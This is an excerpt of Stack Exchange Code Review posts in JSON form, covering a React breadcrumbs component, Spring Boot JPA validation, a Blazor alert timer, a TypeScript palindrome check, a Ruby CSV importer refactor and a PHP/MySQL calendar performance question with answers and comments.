= location.pathname;\n\n const breadcrumbPaths = ancestorPaths(pathName);\n if (breadcrumbPaths.length + 1 &lt; labels.length) {\n return null;\n }\n\n return (\n &lt;div&gt;\n {labels.map((label, idx) =&gt; (\n &lt;h5\n key={breadcrumbPaths[idx]}\n onClick={\n idx &lt; breadcrumbPaths.length\n ? () =&gt; history.push(breadcrumbPaths[idx])\n : null\n }\n className={&quot;label2&quot;}\n &gt;\n {label}\n &lt;/h5&gt;\n ))}\n &lt;/div&gt;\n )\n};\n\nfunction ancestorPaths(pathName) {\n let breadcrumbPaths = [];\n let pathNameIdx = pathName.length - 1;\n while (true) {\n while (pathName[pathNameIdx] !== &quot;/&quot;) {\n if (pathNameIdx === 1) {\n return breadcrumbPaths;\n }\n pathNameIdx--;\n }\n\n const newPath = pathName.slice(0, pathNameIdx);\n breadcrumbPaths = [newPath, ...breadcrumbPaths];\n pathNameIdx--;\n }\n}\n</code></pre>\n<p>Notice how there's a lot less low-level logic going on in the actual RouteBreadcrumbs component? It's a lot easier to read through it and get a good idea of what's going on - except for maybe the actual jsx getting returned - it's a little too nested for my liking, but it'll get simplified in a bit.</p>\n<p>A couple other things I'll note with your original code:</p>\n<ul>\n<li>Prefer string.slice() over string.substring() - it has fewer quarks</li>\n<li>Good use of console.assert() there. The one thing I dislike about console.assert() is that it doesn't actually throw an error, it just logs one. Sometimes this isn't a big deal, here it is. If that assertion happened to come true, it would be stuck in an infinite loop, logging forever. You can just do <code>if (condition) throw new Error(...)</code> instead, or make your own assert function that actually throws an error.</li>\n</ul>\n<p>Now lets look at simplifying our new ancestorPaths() helper function. It is possible to use regex to gather the indicies of all the slashes, which would work similar to how you have it, but greatly simplify the logic (see <a href=\"https://stackoverflow.com/questions/3410464/how-to-find-indices-of-all-occurrences-of-one-string-in-another-in-javascript\">here</a>). I'm going to instead just split on '/', build a list, and use a generator function, as follows:</p>\n<pre><code>function* iterAncestorPaths(pathName) {\n const parts = pathName.split(&quot;/&quot;).filter(x =&gt; x !== &quot;&quot;);\n for (let i = 1; i &lt; parts.length; ++i) {\n yield &quot;/&quot; + parts.slice(0, i).join(&quot;/&quot;);\n }\n}\n</code></pre>\n<p>Note that the <code>.filter()</code> at the beginning will take care of both the leading <code>/</code> and a potential trailing slash.</p>\n<p>One final thing: If your breadcrumb segments are links, why not make them actual links? it'll simplify some things.</p>\n<p>Here's the final solution, with a couple other misc tweaks.</p>\n<pre><code>import React from &quot;react&quot;;\nimport { Link, useLocation } from &quot;react-router-dom&quot;;\n\nconst RouteBreadcrumbs = ({labels = []}) =&gt; {\n const pathName = useLocation().pathname;\n\n const ancestorPaths = [...iterAncestorPaths(pathName)];\n if (ancestorPaths.length + 1 &lt; labels.length) {\n return null;\n }\n\n return (\n &lt;div&gt;\n {ancestorPaths.map((path, idx) =&gt; (\n &lt;Link key={path} to={path} className=&quot;label&quot;&gt;\n {labels[idx]}\n &lt;/Link&gt;\n ))}\n &lt;span className=&quot;label&quot;&gt;{labels[labels.length - 1]}&lt;/span&gt;\n &lt;/div&gt;\n );\n};\n\nfunction* iterAncestorPaths(pathName) {\n const parts = pathName.split(&quot;/&quot;).filter(x =&gt; x !== &quot;&quot;);\n for (let i = 1; i &lt; parts.length; ++i) {\n yield &quot;/&quot; + parts.slice(0, i).join(&quot;/&quot;);\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-20T23:06:12.973", "Id": "500298", "Score": "0", "body": "Wow, thank you so much for such a thorough response! Your suggestions all make sense, and the revised code looks a lot more concise. I'll need to read up on generator functions as I've never used one before. I was wondering what your thoughts are on defining helper functions inside versus outside of the component? In the case above, you decided to define `iterAncestorPaths` outside of the component. I'm assuming that was to declutter `RouteBreadcrumbs`. But are there circumstances where it makes sense to define it inside instead?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T01:40:59.627", "Id": "500309", "Score": "1", "body": "It depends on a few things: How many props/local variables does it need access to (An inner function has much easier access to these variables)? How well can the function be understood if it stands by itself? How big is the function? Is the component already large or cluttered? Is the module already cluttered? I generally prefer trying to keep components smaller, so I normally lean towards having the functions stand by themselves, but I am weighing all of those factors in when I make this decision." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-21T01:42:54.203", "Id": "500310", "Score": "1", "body": "As for generators, it would be healthy to read up one them, as they occasionally come in handy. The more you know, the more power to you :). Though, in this particular instance, it wouldn't be difficult to build and return an array of results inside of iterAncestorPaths() instead." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-19T05:12:21.727", "Id": "253650", "ParentId": "253443", "Score": "1" } } ]
{ "AcceptedAnswerId": "253650", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T04:09:11.967", "Id": "253443", "Score": "3", "Tags": [ "javascript", "react.js" ], "Title": "React breadcrumbs component implementation" }
253443
<p>I have been around in Spring Boot eco-system since 2012, I have worked on many little projects. The most important thing in development I experienced id <code>Validation</code> especially <code>JPA Entities</code>. We simply do validation like:</p> <pre><code>@Entity public class Input { @Id @GeneratedValue private Long id; @Min(1) @Max(10) private int numberBetweenOneAndTen; @Pattern(regexp = &quot;^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$&quot;) private String ipAddress; // ... } </code></pre> <p>as mentioned <a href="https://reflectoring.io/bean-validation-with-spring-boot/#validating-jpa-entities" rel="nofollow noreferrer">here</a>, but there is a note highlighted which says :</p> <blockquote> <p>We usually don't want to do validation as late as in the persistence layer because it means that the business code above has worked with potentially invalid objects which may lead to unforeseen errors...</p> </blockquote> <h3>What is the safe and suitable way of <code>Validating JPA Entities</code>?</h3> <p>I have tried in one of my projects as:</p> <h2>1) Entity class</h2> <pre><code>@Data @Entity(name = &quot;users&quot;) @NoArgsConstructor @AllArgsConstructor @EqualsAndHashCode(callSuper = false) public class AppUser extends AuditModel{ private String userFirstName; private String userLastName; private String userDateOfBirth; } </code></pre> <h2>2) Dto class</h2> <pre><code>@Data @AllArgsConstructor @NoArgsConstructor @EqualsAndHashCode public class AppUserDto { private Long id; @NotNull(message = &quot;First name must not be null&quot;) @NotBlank(message = &quot;First name must not be blank&quot;) private String userFirstName; @NotNull(message = &quot;Last name must not be null&quot;) @NotBlank(message = &quot;Last name must not be blank&quot;) private String userLastName; @NotNull(message = &quot;Date of Birth must not be null&quot;) @NotBlank(message = &quot;Date of Birth must not be blank&quot;) @Past() private String userDateOfBirth; } </code></pre> <h2>3) Finally Validating Bean to a Spring Service Method</h2> <pre><code>@Service @Validated public class AppUserService { private final AppUserRepository appUserRepository; @Autowired public AppUserService(AppUserRepository appUserRepository) { this.appUserRepository = appUserRepository; } public void update(@Valid AppUserDto appUserDto){ appUserRepository.update( appUserDto.getId(), appUserDto.getUserFirstName(), appUserDto.getUserLastName(), appUserDto.getUserDateOfBirth() ); } } </code></pre> <p>Is this approach suitable or there is an other better way than that?</p> <p>Please give your feed back your reviews are precious to me!</p>
[]
[ { "body": "<p>The approach is ok, although it depends on the context. If the application receives <code>AppUserDto</code> in the controller layer, doing the validation in the service layer might be too late. Moreover, the service layer will be dependent on the DTO.</p>\n<p>If <code>AppUserDto</code> is received in the controller layer (e.g. from a REST API) a good approach is validating the request in the controller layer, mapping the DTO to the entity, and passing it down to the service layer:</p>\n<pre><code>@RestController\npublic class UserController {\n //...\n\n @PutMapping(value = &quot;/user&quot;)\n public void updateUser(@RequestBody @Valid AppUserDto appUserDto) {\n AppUser appUser = toEntity(appUserDto);\n appUserService.update(appUser);\n }\n\n //...\n}\n</code></pre>\n<p>After the validation with <code>@Valid</code>, if there are no errors, <code>toEntity</code> will map the DTO to the entity. The mapping can be done manually or using <a href=\"http://modelmapper.org/getting-started/\" rel=\"nofollow noreferrer\">ModelMapper</a>. More info on this approach <a href=\"https://www.baeldung.com/entity-to-and-from-dto-for-a-java-spring-application\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>In general, DTO validation should be done as soon as possible to prevent internal components to work with invalid objects (as mentioned in the article you linked). Additionally, mapping the DTO to the entity keeps the service layer independent of the particular request so that it can be better reused and tested.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T09:45:27.763", "Id": "500129", "Score": "0", "body": "Isn't the `mapping` a verbose or redundant, or its okay this is good to go!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T09:36:02.997", "Id": "253605", "ParentId": "253445", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T06:41:28.070", "Id": "253445", "Score": "2", "Tags": [ "java", "validation", "spring", "jpa" ], "Title": "Suitable way for Validating JPA Entities in Spring Boot" }
253445
<p>I use this in my Blazor application, letting other services send errors or warnings to this AlertService. The service triggers an update of a component which simply displays the messages, errors in red warnings in yellow.<br /> While getting no new warnings, the existing warnings should be deleted, every 5 seconds one less warning being displayed. Same goes for errors.<br /> When a new warning comes in, the timer restarts (so when the service was 1 second before deleting a warning, that timer is now void and the new timer starts with 5 seconds again).</p> <p>This is my class, I feel there must be a better way but I haven't figured it out yet:</p> <pre><code> public class AlertService { private readonly ObservableCollection&lt;string&gt; errors = new ObservableCollection&lt;string&gt;(); private readonly ObservableCollection&lt;string&gt; warnings = new ObservableCollection&lt;string&gt;(); private object? talkingStickErrors; private object? talkingStickWarnings; public ReadOnlyObservableCollection&lt;string&gt; Errors { get; } public ReadOnlyObservableCollection&lt;string&gt; Warnings { get; } public AlertService() { Errors = new ReadOnlyObservableCollection&lt;string&gt;(errors); Warnings = new ReadOnlyObservableCollection&lt;string&gt;(warnings); } public void Error(string message) { Console.WriteLine($&quot;Error: {message}&quot;); errors.Add(message); StartErrorTimer(); } private void StartErrorTimer() { talkingStickErrors = new object(); RemoveErrorAfterDelay(talkingStickErrors); } private async void RemoveErrorAfterDelay(object localTalkingStick) { while (true) { await Task.Delay(5000); if (localTalkingStick != talkingStickErrors || !errors.Any()) return; errors.RemoveAt(0); } } public void Warning(string message) { Console.WriteLine($&quot;Warning: {message}&quot;); warnings.Add(message); StartWarningTimer(); } private void StartWarningTimer() { talkingStickWarnings = new object(); RemoveWarningAfterDelay(talkingStickWarnings); } private async void RemoveWarningAfterDelay(object localTalkingStick) { while (true) { await Task.Delay(5000); if (localTalkingStick != talkingStickWarnings || !warnings.Any()) return; warnings.RemoveAt(0); } } } </code></pre> <p>Also I couldn't think of a better word for the talking sticks. They're not exactly locks.</p> <p><strong>Update</strong>: No more talking sticks, it now just reused the last message it received.</p> <p><strong>Update 2</strong>: Talking sticks again, as string have no unique identity.</p> <p><strong>Update 3</strong>: Instead of an extra event, the alerts are now in ObservableCollections. I keep receiving stuff about encapsulation and Rx. ould appreciate someone helping me to DRY this.</p>
[]
[ { "body": "<p>Try this collection to hold your messages. It should do exactly what you are looking for - just create couple instances for errors and warnings.</p>\n<pre><code>public class MessageCollection : ObservableCollection&lt;string&gt;\n{\n public MessageCollection()\n {\n Timer = new Timer(Callback, this, 5000, 5000);\n CollectionChanged += MessageCollection_CollectionChanged;\n }\n\n Timer Timer { get; }\n\n void MessageCollection_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e)\n {\n Timer.Change(5000, 5000);\n }\n static void Callback(object state)\n {\n var that = (MessageCollection)state;\n if (that.Any())\n {\n that.CollectionChanged -= that.MessageCollection_CollectionChanged;\n that.RemoveAt(that.Count - 1);\n that.CollectionChanged += that.MessageCollection_CollectionChanged;\n }\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-28T11:06:55.183", "Id": "500890", "Score": "0", "body": "Ha I like it, will try this out. Wouldn't the `RemoveAt(Count-1)` remove the latest message though? I put RemoteAt(0) to always remove the oldest message. Also: why does it have to remove and readd the event handler? Isn't it the same object each iteration?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-28T11:11:29.137", "Id": "500891", "Score": "0", "body": "Ah also which Timer is this? I haven't found an async timer yet, and as this is running in a browser it definitely needs to be async." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-28T12:12:49.210", "Id": "500895", "Score": "0", "body": "MS just tells me both Timers.Timer and Threading.Timer are supposed to be used server-based and the others are just net Framework lol I feel a bit lost. Might have to build my own async timer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-02T16:24:31.007", "Id": "501357", "Score": "0", "body": "Tried it, it works great, thanks! (I'm using the System.Threading.Timer) Also I understand now that the callback removes/readds the callback so that the change doesn't trigger resetting the timer, and that the callback is static so it has to use `that`." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-24T18:01:04.190", "Id": "253877", "ParentId": "253448", "Score": "1" } } ]
{ "AcceptedAnswerId": "253877", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T08:24:37.033", "Id": "253448", "Score": "1", "Tags": [ "c#", "timer", "blazor" ], "Title": "Allow adding errors and warnings and remove both after a while with seperate timers" }
253448
<p>I have this code:</p> <pre class="lang-js prettyprint-override"><code>export function is_palindrome(num: number): boolean { return [...num.toString()].reverse().join(&quot;&quot;) === num.toString(); } </code></pre> <p>which checks if a number is a palindrome(i.e 9009 reversed is still 9009), I do this by using the spread operator on <code>num.toString()</code>, reversing the array, joining it, and then comparing it to <code>num.toString()</code> which works but surely there must be a better way to do this.</p>
[]
[ { "body": "<p>It looks fine - note that for a function this small there will almost always be no real impact on runtime, nor on readability. The only thing I would change is avoiding converting <code>num</code> into a string twice.</p>\n<p>It is also possible to check for a palindrome without explicitly reversing the string, which I have done below.</p>\n<pre class=\"lang-js prettyprint-override\"><code>export function is_palindrome(num: number): boolean {\n const str = num.toString();\n const len = str.length;\n for (let i = 0; i &lt; Math.floor(len / 2); i++) {\n if (str[i] !== str[len - i - 1]) {\n return false;\n }\n }\n return true;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T14:39:42.833", "Id": "499822", "Score": "0", "body": "Unless denoting the type of the variable is required for TS to compile, or if it's not immediately clear upon reading the code, some might prefer to leave out the explicit type annotations. Especially in longer functions, it can start to look extraneous and can detract from the reading of the code's main logic." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T09:10:43.987", "Id": "253453", "ParentId": "253450", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T08:37:41.280", "Id": "253450", "Score": "1", "Tags": [ "algorithm", "typescript" ], "Title": "How can I make this function that checks whether a number is a palindrome better?" }
253450
<p>I wrote this method a few years ago in a Ruby on Rails project, which I think I am not proud of. How can I make this code better to show in-depth professionalism in Ruby?</p> <p><strong>lib/merchant/web_csv_importer.rb</strong></p> <pre><code># frozen_string_literal: true require 'open-uri' require 'csv' class WebCsvImporter attr_accessor :url def initialize(url) @url = url end def call data = URI.open(url).read.force_encoding('UTF-8') parse_csv(data) end private def parse_csv(data) counter = 0 duplicate_counter = 0 CSV.parse(data, headers: true, header_converters: :symbol) do |row| next unless row[:name].present? &amp;&amp; row[:email].present? &amp;&amp; row[:status].present? role = Role.find_or_create_by(name: 'admin') merchant = Merchant.new row.to_h merchant.roles &lt;&lt; role merchant.save merchant.persisted? ? counter += 1 : duplicate_counter += 1 p &quot;Email duplicate record: #{merchant.email} - #{merchant.errors.full_messages.join(',')}&quot; if merchant.errors.any? end p &quot;Imported #{counter} merchant, #{duplicate_counter} duplicate rows ain't added in total&quot; # dont forget to pluralize this statements end end </code></pre> <p><strong>lib/tasks/merchant/csv_importer.rake</strong></p> <pre><code>require 'merchant/web_csv_importer' namespace :merchant do desc &quot;Imports data from a Web CSV into Merchant's table&quot; task web_csv_importer: :environment do WebCsvImporter.new('http://expample.com/merchant.csv').call end end </code></pre>
[]
[ { "body": "<p>I like that you already extracted a <code>WebCsvImporter</code> Plain Old Ruby Object which makes the code already a lot easier to understand and refactor.</p>\n<p>Here is a refactored solution which I will explain in more detail:</p>\n<pre class=\"lang-rb prettyprint-override\"><code>class CsvImporter\n Result &lt; Struct.new(:merchants) do\n def valid_count\n @valid_count ||= merchants.count(&amp;:persisted?)\n end\n\n def invalid_count\n @invalid_count ||= total - valid_count\n end\n\n def total\n @total ||= merchants.count\n end\n\n def errors\n merchants.map do |merchant|\n merchant.errors.full_messages.to_sentence\n end.to_sentence\n end\n end\n\n def initalize(url)\n @url = url\n end\n\n def call\n merchants = valid_rows.map do |row|\n Merchant.create(\n roles: [Role.find_or_create_by(name: 'admin')],\n name: row[:name],\n )\n end\n\n Result.new(merchants)\n end\n\n private\n\n attr_accessor :url\n\n def valid_rows\n CSV.parse(data, headers: true, header_converters: :symbol).select do |row|\n row[:name].present? &amp;&amp; row[:email].present? &amp;&amp; row[:status].present?\n end\n end\n\n def data\n @data||= URI.open(url).read.force_encoding('UTF-8')\n end\nend\n</code></pre>\n<p>Note that I removed the <code>p</code> prints and return a result object instead. You can use this result object to print the output in different formats or silence. Another solution could be to write to a logger object but you should avoid using <code>puts</code> as it will make testing and reusing of this class harder.</p>\n<p>Here are a couple of suggestions:</p>\n<h2>Replace Temp with Query</h2>\n<p><a href=\"https://refactoring.guru/replace-temp-with-query\" rel=\"noreferrer\">Replace Temp with Query</a> is a standard refactoring method which often improves the code quality a lot. Here we use the temp variable to a method which will also remove the need for a method parameter of <code>parse_csv</code>.</p>\n<pre class=\"lang-rb prettyprint-override\"><code>def data\n @data||= URI.open(url).read.force_encoding('UTF-8')\nend\n</code></pre>\n<h2>Extract helper methods</h2>\n<p>Extrating helper methods is also a standard refactoring method. Your <code>parse_csv</code> method is quite long and complicated so we should think about splitting it apart. One thing I did was extracting skipping invalid rows like this.</p>\n<pre class=\"lang-rb prettyprint-override\"><code>def valid_rows\n CSV.parse(data, headers: true, header_converters: :symbol).select do |row|\n row[:name].present? &amp;&amp; row[:email].present? &amp;&amp; row[:status].present?\n end\nend\n</code></pre>\n<h2>Don't use to_h to create object</h2>\n<p>Rather than using <code>to_h</code> and pass the all params to the object creation I would rather only pass in allowed parameters. I just used <code>name</code> as example here. It is problematic to pass all parameters in as it could easily break your application (e.g. CSV and database always need to have the same format) or worst case this could be a security issue (e.g. Merchant has an <code>is_admin</code> or <code>password</code> attribute which could get overwritten) without noticing. Specifying which params are allowed here seems like a good idea.</p>\n<h2>Result object</h2>\n<p>I return a result object and do the counting logic in the result object to make it simpler. This also has the advantage to move the printing / output to a different layer making testing a lot easier. For instance this test</p>\n<pre class=\"lang-rb prettyprint-override\"><code>def test_valid_count\n result = CsvImporter.new('example.com').call\n\n assert_equal(1, result.valid_count)\nend\n</code></pre>\n<p>seems a lot easier and robust than</p>\n<pre class=\"lang-rb prettyprint-override\"><code>def test_valid_count\n io = capture_io do \n CsvImporter.new('example.com').call\n end\n\n assert_equal(&quot;Imported 1 merchant, 1 duplicate rows ain't added in total&quot;, io)\nend\n</code></pre>\n<h2>Make attr_accessor private</h2>\n<p>If the <code>attr_accessor</code> are not accessed externally you should move them to be private.</p>\n<p>Hope that helps, let me know what you think.</p>\n<h2>Update</h2>\n<blockquote>\n<p>Reading a little further, I am concerned about performance issues when the data I want to pull is large and save into database. An example is CSV.parse which surely will result into issues when the csv dataset is large. Though I do not know the .select you append to it will solve that issue.</p>\n</blockquote>\n<p>Reading files generally is quite fast. If you have of course 100s of millions of rows this can become a performance bottleneck. Generally I would advise to do benchmarks with your input files to see if this is really a bottleneck rather than premature optimisations.</p>\n<p>However, here are a few ideas what you could do:</p>\n<ol>\n<li><p>Divide &amp; Conquer: Rather than having one single CSV file you could split the file into many files and start an import worker for each of them. Ideally this would happen already when generating the CSV files because then you also distribute the download time (rather than e.g. download 1GB you download 10 * 100MB).</p>\n</li>\n<li><p>Read the CSV file line by line</p>\n</li>\n</ol>\n<blockquote>\n<p>Also, I think I should move row[:name].present? &amp;&amp; row[:email].present? &amp;&amp; row[:status].present? to a separate predicate method.</p>\n</blockquote>\n<p>Personally I don't think this will improve much readability because you would end up with either having a method with parameter or need to extract another object which both are not ideal.</p>\n<pre class=\"lang-rb prettyprint-override\"><code># need a method parameter\ndef valid_row?(row)\n row[:name].present? &amp;&amp; \n row[:email].present? &amp;&amp; \n row[:status].present?\nend\n\n# extract object\nclass Row\n def initialize(params)\n @params = params\n end\n\n def valid?\n params[:name].present? &amp;&amp; \n params[:email].present? &amp;&amp; \n params[:status].present?\n end\nend\n\nRow.new(row_params).valid?\n</code></pre>\n<blockquote>\n<p>Also what happens if those rows are not present.</p>\n</blockquote>\n<p>This shouldn't be a problem as <code>nil.present?</code> will return false.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T12:46:24.687", "Id": "500051", "Score": "0", "body": "I agree with most of all you have done to be sincere. Reading a little further, I am concerned about performance issues when the data I want to pull is large and save into database. An example is `CSV.parse` which surely will result into issues when the csv dataset is large. Though I do not know the `.select` you append to it will solve that issue. Also, I think I should move `row[:name].present? && row[:email].present? && row[:status].present?` to a separate predicate method. Also what happens if those rows are not present." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T13:50:20.543", "Id": "500058", "Score": "0", "body": "See my answer inline in the original answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T15:27:27.710", "Id": "500064", "Score": "0", "body": "This is very nice. Gracias. However, if you want to us `upsert_all` in Rails 6 for a bulk insert and update, how do you suggest it is done inside the `.call` method instead of `Merchant.create()`. One way it makes me think of using `https://github.com/zdennis/activerecord-import` for bulk upload" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T23:39:01.010", "Id": "253476", "ParentId": "253452", "Score": "6" } } ]
{ "AcceptedAnswerId": "253476", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T08:58:09.727", "Id": "253452", "Score": "2", "Tags": [ "ruby", "ruby-on-rails", "meta-programming" ], "Title": "How can I make this CSV Importer code better of any code smell?" }
253452
<p>I'm working on a calendar for my office. Every people has his own column and there is a line for every day.</p> <p>There are some periodic date, where, for example, given people have to be working on the week-end. But most of the dates are coming from a MySQL database.</p> <p>So it does a double loop (people vs dates) in which every dates have to be check for the person, what kind of occupation he has on this day.</p> <p>Is there a way to optimize this script, because online it take at least 2-3 seconds (only 0.03 seconds according to PHP, but I don't feel like it's correct) and more than 8 seconds (again according to PHP) on our network! And this is just for 5 months, we'd like to have it for the whole year.</p> <p>You can find a test version here (just to see the HTML and CSS): <a href="http://mybees.ch/for/tableau_one_query_table.php" rel="nofollow noreferrer">http://mybees.ch/for/tableau_one_query_table.php</a></p> <p>And here is the PHP in it (I grouped the second query in the first one and use table):</p> <pre class="lang-php prettyprint-override"><code>// Initiating the dates $year = 2020; $date1 = &quot;$year-01-01&quot;; $date2 = &quot;$year-12-31&quot;; //Creating the line for the workers $ids; $activity = array(); $worker_query_text = &quot;SELECT DISTINCT w.id, w.name, w.forename, w.group FROM worker w, worker_position wp WHERE w.id = wp.maid AND w.grup != 14 ORDER BY w.grup, wp.posid, w.name, w.vorname&quot;; $worker_query = mysqli_query($bdi, $worker_query_text); while($worker = mysqli_fetch_assoc($worker_query)) { echo '&lt;div class=&quot;cell name&quot;&gt;'.$worker['name'].' '.$worker['forename'].'&lt;/div&gt;'; $ids[] = $worker['id']; $group[$worker['id']] = $worker['group']; $activity_query_text = &quot;SELECT date1, date2, activity_type.id as type, moment, remark, location FROM activity, activity_type WHERE activity_type.id = activity.type AND id_ma=&quot;.$worker['id'].&quot; AND date1 BETWEEN CAST('$date1' AS DATE) AND CAST('$date2' AS DATE)&quot;; $activity_query = mysqli_query($bdi, $activity_query_text); while($activity_row = mysqli_fetch_assoc($activity_query)) { $activity[$worker['id']][] = $activity_row; } } </code></pre> <pre class="lang-php prettyprint-override"><code>// Check if special group day $firstGroup = 1; $firstDate = strtotime(&quot;$year-01-01&quot;); $picket = array(); if (date(&quot;N&quot;, $firstDate) == 2)// Tuesday $firstDate -= 24 * 3600; elseif (date(&quot;N&quot;, $firstDate) == 3)// Wednesday $firstDate -= 2 * 24 * 3600; elseif (date(&quot;N&quot;, $firstDate) == 5)// Friday $firstDate -= 24 * 3600; elseif (date(&quot;N&quot;, $firstDate) == 6)// Saturday $firstDate -= 2 * 24 * 3600; elseif (date(&quot;N&quot;, $firstDate) == 7)// Sunday $firstDate -= 3 * 24 * 3600; for ($date = $firstDate; $date &lt;= strtotime(&quot;$year-12-31&quot;); $date += 24 * 3600) { $weekNb = date(&quot;W&quot;,$date); $weekDay = date(&quot;N&quot;,$date); // Monday = 1, Sunday = 7 if ($weekDay &lt; 4) $group = $weekNb % 4 - 1 + $firstGroup; else $group = $weekNb % 4 - 2 + $firstGroup; if ($group == 0) $group = 4; if ($group == -1) $group = 3; $picket[$date] = $group; } $groupColor = [&quot;yellow&quot;, &quot;blue&quot;, &quot;red&quot;, &quot;green&quot;]; function isPicket($date, $grup) { global $picket, $groupColor; if ($grup &lt; 5) { if ($picket[$date] == $grup) return &quot; style='background-color: &quot;.$groupColor[$picket[$date]-1].&quot;'&quot;; } } $today_stp = time() - time() % (24 * 3600) - 11 * 24 * 3600; for ($date = strtotime($date1); $date &lt;= strtotime($date2); $date += 24 * 3600) { $today = ($date == $today_stp) ? ' id=&quot;today&quot;':''; echo &quot;&lt;tr class='clear'$today&gt;&quot;; $class = (date('N', $date) &lt; 6) ? 'week' : 'weekend'; echo &quot;&lt;td class='date $class line'&gt;&quot;.date(&quot;D, d.m.&quot;, $date).&quot;&lt;/td&gt;&quot;; foreach($ids as $id) { echo &quot;&lt;td class='cell line $class'&quot;.isPicket($date,$grup[$id]).&quot;&gt; &lt;div class='small-cell&quot;.isColor($id, $date, 0).&quot;' id='divUp-&quot;.$id.&quot;-$date'&gt;&amp;nbsp;&lt;/div&gt; &lt;div class='small-cell&quot;.isColor($id, $date, 1).&quot;' id='divDown-&quot;.$id.&quot;-$date'&gt;&amp;nbsp;&lt;/div&gt; &lt;/td&gt;&quot;; } echo '&lt;/tr&gt;'; } function isColor($id_ma, $date, $moment) { global $activity; if (array_key_exists($id_ma, $activity)) { foreach ($activity[$id_ma] as $activity_row) { if ($date &gt;= strtotime($activity_row['date1']) &amp;&amp; $date &lt;= strtotime($activity_row['date2'])) { if ($activity_row['moment'] == $moment || $activity_row['moment'] == 2) { $type = $activity_row['type']; $style = &quot;&quot;; if ($type &gt; 1 &amp;&amp; $type &lt; 5) $style = &quot; urlaub&quot;; if ($type &gt; 4 &amp;&amp; $type &lt; 8) $style = &quot; frei&quot;; if ($type &gt; 7 &amp;&amp; $type &lt; 11) $style = &quot; ferien&quot;; if (($type &gt; 22 &amp;&amp; $type &lt; 34) || ($type &gt; 37 &amp;&amp; $type &lt; 48)) $style = &quot; kurse&quot;; if ($type &gt; 10 &amp;&amp; $type &lt; 17) $style = &quot; krank&quot;; return &quot; $style' title='&quot;.$activity_row['remark']; } } } } } </code></pre> <p>With the modified code, I gain some precious time (one whole year takes now as much time as it was before for 3 monthes), but to create a table on one year, it still takes more than 10 seconds (13 seconds on my local server). Am I asking to much to PHP, should I limit the time span (only 2-3 monthes instead of one whole year)?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T15:50:11.310", "Id": "499824", "Score": "0", "body": "I think the first step here would be to have an understandable and consistent database. Don't mix German and English there, just use English. So the table name `ma`, which I think means \"Mitarbeiter\", should be something as understandable as `worker`, `employee` or anything similar. Same for the `ma_pos` table. Don't abbreviate unnecessarily. You have two tables called: `frei` and `free`. That's the same word in different languages. How should we even start to understand what they contain? Only when this has been resolved can you start to think about a next step." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T18:21:15.320", "Id": "499908", "Score": "1", "body": "Are you checking comments to your own question? Probably the best way to speed up your script is to perform one database query instead of many, but if we want to give you advice on this, we need a clear idea about how your database works. Please regard my previous comment in that context." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T06:01:09.507", "Id": "499938", "Score": "0", "body": "Hi KIKO, thanks for your remarks. Sorry, forgot the code is not as clear for everyone as it is for me. I made some changed in the published one, I hope it's now better and I didn't make any mistake. I'll look at your suggestion about doing only one DB query. But is it a correct way to store it in arrays like I've done?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:47:45.610", "Id": "499948", "Score": "0", "body": "You could include info how many queries are run for each page refresh? Maybe add detailed info about your query (run query with word `EXPLAIN` at the beginning) or/and DB structure (relevant part)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T09:25:11.977", "Id": "499957", "Score": "2", "body": "Sorry, I still cannot understand your code well enough to provide an useful answer. There are things missing, like the definition of `$time1` and `$time2`. Talking about these variables, you use those inside your query strings, and who knows where they are coming from? They might even be under the control of the user of your code. In that case inserting them into the query string is a big mistake (see: **SQL-injection**). The normal way to include PHP variables into a query string is by using: [Prepared statements](https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T06:43:30.887", "Id": "500117", "Score": "0", "body": "Hi everyone, thanks for the comments. It takes me a bit of time to make the recommanded changes, but I'll get to you as soon as I've done it. Just about $date1 and 2 here are there declarations:`$year = 2020;$date1 = \"$year-06-01 00:00 GMT\";$date2 = \"$year-06-30 00:00 